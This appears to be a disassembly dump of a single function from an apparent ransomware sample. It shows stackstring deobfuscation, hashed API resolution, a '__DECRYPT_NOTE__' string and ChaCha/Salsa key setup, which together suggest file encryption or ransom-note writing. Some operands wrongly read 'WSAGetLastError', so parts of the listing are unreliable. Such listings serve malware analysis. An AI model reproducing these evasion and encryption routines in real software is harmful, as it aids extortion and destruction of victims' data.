Function at 0x180018a60
Capabilities:
Contain obfuscated stackstrings
Encrypt data using salsa20 or chacha

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x180039010]
xor rax, rsp
mov qword [rbp + 0x28], rax
mov byte [rsp + 0x40], 0
xor ebx, ebx
mov byte [rsp + 0x41], 0x70
mov rsi, rcx
mov byte [rsp + 0x42], WSAGetLastError
mov byte [rsp + 0x43], 0x74
mov byte [rsp + 0x44], WSAGetLastError
mov byte [rsp + 0x45], 0
mov byte [rsp + 0x46], WSAGetLastError
mov byte [rsp + 0x47], 0x57
mov byte [rsp + 0x48], WSAGetLastError
mov byte [rsp + 0x49], 0x5e
mov byte [rsp + 0x4a], WSAGetLastError
mov byte [rsp + 0x4b], 0x74
mov byte [rsp + 0x4c], WSAGetLastError
mov byte [rsp + 0x4d], 0x2d
mov byte [rsp + 0x4e], WSAGetLastError
mov byte [rsp + 0x4f], 0x2b
mov byte [rsp + 0x50], WSAGetLastError
mov byte [rsp + 0x51], 0x20
mov byte [rsp + 0x52], WSAGetLastError
mov byte [rsp + 0x53], 0x2b
mov byte [rsp + 0x54], WSAGetLastError
mov byte [rsp + 0x55], WSAGetLastError
mov byte [rsp + 0x56], WSAGetLastError
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x180018b5f
mov edi, ebx
nop dword [rax]
movzx ecx, byte [rsp + rdi + 0x41]
mov eax, WSAGetLastError
sub eax, ecx
imul ecx, eax, 0x23
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rdi + 0x41], cl
inc rdi
cmp rdi, 0x16
jb 0x180018b10
mov qword [rsp + 0x188], r13
lea rdx, [rsp + 0x41]
mov qword [rsp + 0x190], r14
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x198], r15
movaps xmmword [rsp + 0x140], xmm6
movaps xmmword [rsp + 0x130], xmm7
call fcn.180019dc0
mov rdx, rsi
lea rcx, [rbp - 0x80]
mov rdi, rax
call fcn.180019f00
mov r8, rdi
lea rcx, [rbp - 0x60]
mov rdx, rax
call fcn.180017720
cmp qword [rbp - 0x48], 8
lea rdi, [rbp - 0x60]
mov edx, 0xf
mov r8d, 0x17610e8
cmovae rdi, qword [rbp - 0x60]
lea r9d, [rdx + 0x52]
call fcn.180004350
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rdi
call rax
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x180018dee
mov r13d, dword [0x180039a38]
movaps xmm7, xmmword [str.__DECRYPT_NOTE__]
mov ecx, r13d
movaps xmm6, xmmword [0x180039a20]
mov rbx, qword [0x180039a30]
movups xmmword [rbp + 8], xmm7
mov qword [rsp + 0x58], rbx
movups xmmword [rbp + 0x18], xmm6
call fcn.180023428
mov r8d, r13d
xor edx, edx
mov rcx, rax
mov r14, rax
call fcn.1800207a0
test r14, r14
jne 0x180018d0e
lea edx, [r14 + 0xf]
mov r8d, 0xca528872
lea r9d, [r14 + 0x5b]
call fcn.180004350
mov rcx, r12
call rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x180018ca6
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180018ca1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180018ecb
call fcn.18001f6a0
mov rdx, qword [rsi + 0x18]
xor edi, edi
movdqa xmm0, xmmword [0x180035970]
mov word [rbp - 0x60], di
movdqu xmmword [rbp - 0x50], xmm0
cmp rdx, 8
jb 0x180018cfa
mov rcx, qword [rsi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x180018cf5
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180018ecb
mov rcx, rdi
xor edi, edi
call fcn.18001f6a0
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 7
mov word [rsi], di
jmp 0x180018e89
xor eax, eax
lea rdi, [rbp - 0x40]
movdqa xmm0, xmm6
lea rdx, [0x180039a3c]
psrldq xmm0, 8
mov ecx, 0x40
rep stosb byte [rdi], al
mov eax, dword [rbp + 0xc]
lea rcx, [rbp - 0x40]
mov dword [rbp - 0x2c], eax
mov r9d, r13d
mov eax, dword [rbp + 0x14]
mov r8, r14
mov dword [rbp - 0x24], eax
mov eax, dword [rbp + 0x1c]
mov dword [rbp - 0x1c], eax
xor eax, eax
movd dword [rbp - 0x30], xmm7
movd dword [rbp - 0x20], xmm6
mov qword [rbp - 0x10], rax
mov eax, dword [rsp + 0x5c]
psrldq xmm7, 8
psrldq xmm6, 0xc
mov dword [rbp - 4], eax
movd dword [rbp - 0x28], xmm7
movd dword [rbp - 0x18], xmm0
movd dword [rbp - 0x14], xmm6
mov dword [rbp - 0x40], 0x61707865
mov dword [rbp - 0x3c], 0x3320646e
mov dword [rbp - 0x38], 0x79622d32
mov dword [rbp - 0x34], 0x6b206574
mov dword [rbp - 8], ebx
call fcn.1800046a0
mov edx, 0xf
mov r8d, 0x88f1e18
lea r9d, [rdx + 0x57]
call fcn.180004350
xor ebx, ebx
lea r9, [rbp]
mov r8d, r13d
mov qword [rsp + 0x20], rbx
mov rdx, r14
mov rcx, r12
call rax
lea edx, [rbx + 0xf]
mov r8d, 0xca528872
lea r9d, [rbx + 0x5b]
call fcn.180004350
mov rcx, r12
call rax
xor eax, eax
mov rcx, r13
mov rdi, r14
rep stosb byte [rdi], al
mov rcx, r14
call fcn.180023430
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x180018e2e
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180018e29
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180018ecb
call fcn.18001f6a0
mov rdx, qword [rsi + 0x18]
movdqa xmm0, xmmword [0x180035970]
mov word [rbp - 0x60], bx
movdqu xmmword [rbp - 0x50], xmm0
cmp rdx, 8
jb 0x180018e7a
mov rcx, qword [rsi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x180018e75
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180018ecb
mov rcx, rdi
call fcn.18001f6a0
mov word [rsi], bx
mov qword [rsi + 0x18], 7
mov qword [rsi + 0x10], rbx
movaps xmm7, xmmword [rsp + 0x130]
movaps xmm6, xmmword [rsp + 0x140]
mov r15, qword [rsp + 0x198]
mov r14, qword [rsp + 0x190]
mov r13, qword [rsp + 0x188]
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.18001f3a0
add rsp, 0x150
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180023850
int3